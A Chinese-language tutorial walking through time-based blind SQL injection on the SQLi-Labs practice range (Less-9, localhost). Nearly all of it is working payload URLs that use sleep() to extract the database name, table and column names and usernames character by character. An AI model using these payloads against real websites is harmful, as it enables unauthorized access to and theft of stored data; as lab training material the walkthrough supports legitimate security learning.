这里靶场我们还是以“SQLi-Labs”为实战来讲解吧!
一、判断注入点
常用的判断语句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
注入示例:
http://127.0.0.1/sqli-labs/Less-9/?id=1 ' and if(1=0,1, sleep(10)) --+
判断正确,显示you are in.......
判断失败,无显示
二、判断数据库名
1、查询数据库名长度
由于是本地测试,我知道数据库长度、名字等这些,所以用的是等号 =,实战中可以用大小于来进行一个判断,缩短时间。
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+
2、查询当前数据库名的第一个字符
(substr(database(),1,1) : 截取当前数据库的第一个字符
ascii() : 把截取到的字符串转换成ascii码(百度搜索ascii码表一堆)
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+
或者
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left(database(),1)='s',sleep(10),1) --+
依次类推......
三、猜测数据库表名
1、判断表名长度
猜测security数据库里的第四个表的长度,猜测哪个表可以用limit来控制;
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+
2、判断表名第一个字符
猜测security数据库里的第四个表的第一个字符;
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+
依次类推......
四、判断数据库表中的列名
1、判断列名长度
猜测 security数据库 里的 users表 的第二个字段长度,也就是第二个列名的字段长度。
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+
2、判断列名第一个字符
猜测 security数据库 里的 users表 的第二个列名字段的第一个字符。
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+
依次类推......
五、判断表列名的数据值
1、猜测 security数据库 里的 users表 的第二个字段username的第一个数据的长度
http://127.0.0.1/sqli-labs/Less-9/?id=1'and if(length((select username from security.users limit 0,1))=4,sleep(10),1)--+
2、判断username列名的值第一个字符是否为D?
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select username from security.users limit 0,1),1)='D',sleep(10),1) --+
或
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substring((SELECT username FROM security.users),1,1))=119,sleep(10),1) --+